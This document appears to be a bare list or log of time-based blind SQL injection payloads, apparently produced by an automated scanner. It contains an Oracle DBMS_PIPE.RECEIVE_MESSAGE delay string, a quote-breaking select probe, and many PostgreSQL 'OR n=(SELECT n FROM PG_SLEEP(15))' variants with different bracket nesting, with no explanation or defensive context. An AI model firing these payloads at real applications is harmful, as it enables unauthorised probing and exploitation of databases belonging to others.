(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98) CHR(98) CHR(98),15) from dual)     (select(0)from(select((15)))v)/*'+(select(0)from(select((15)))v)+'"+(select(0)from(select((15)))v)+"*/     1 1) OR 616=(SELECT 616 FROM PG_SLEEP(15))-     1 1) OR 842=(SELECT 842 FROM PG_SLEEP(15))-     1 1)) OR 321=(SELECT 321 FROM PG_SLEEP(15))-     1 1)) OR 332=(SELECT 332 FROM PG_SLEEP(15))-     1 1 OR 231=(SELECT 231 FROM PG_SLEEP(15))-     1 1 OR 938=(SELECT 938 FROM PG_SLEEP(15))-     1 1)) OR 107=(SELECT 107 FROM PG_SLEEP(15))-     1 1) OR 254=(SELECT 254 FROM PG_SLEEP(15))-     1 1)) OR 846=(SELECT 846 FROM PG_SLEEP(15))-     1 1 OR 487=(SELECT 487 FROM PG_SLEEP(15))-     1 1 OR 324=(SELECT 324 FROM PG_SLEEP(15))-     1 1) OR 899=(SELECT 899 FROM PG_SLEEP(15))-     1 1)) OR 511=(SELECT 511 FROM PG_SLEEP(15))-     1 1) OR 820=(SELECT 820 FROM PG_SLEEP(15))-     1 1 OR 442=(SELECT 442 FROM PG_SLEEP(15))-     1 1 OR 465=(SELECT 465 FROM PG_SLEEP(15))-     1 1 OR 32=(SELECT 32 FROM PG_SLEEP(15))-     1 1)) OR 473=(SELECT 473 FROM PG_SLEEP(15))-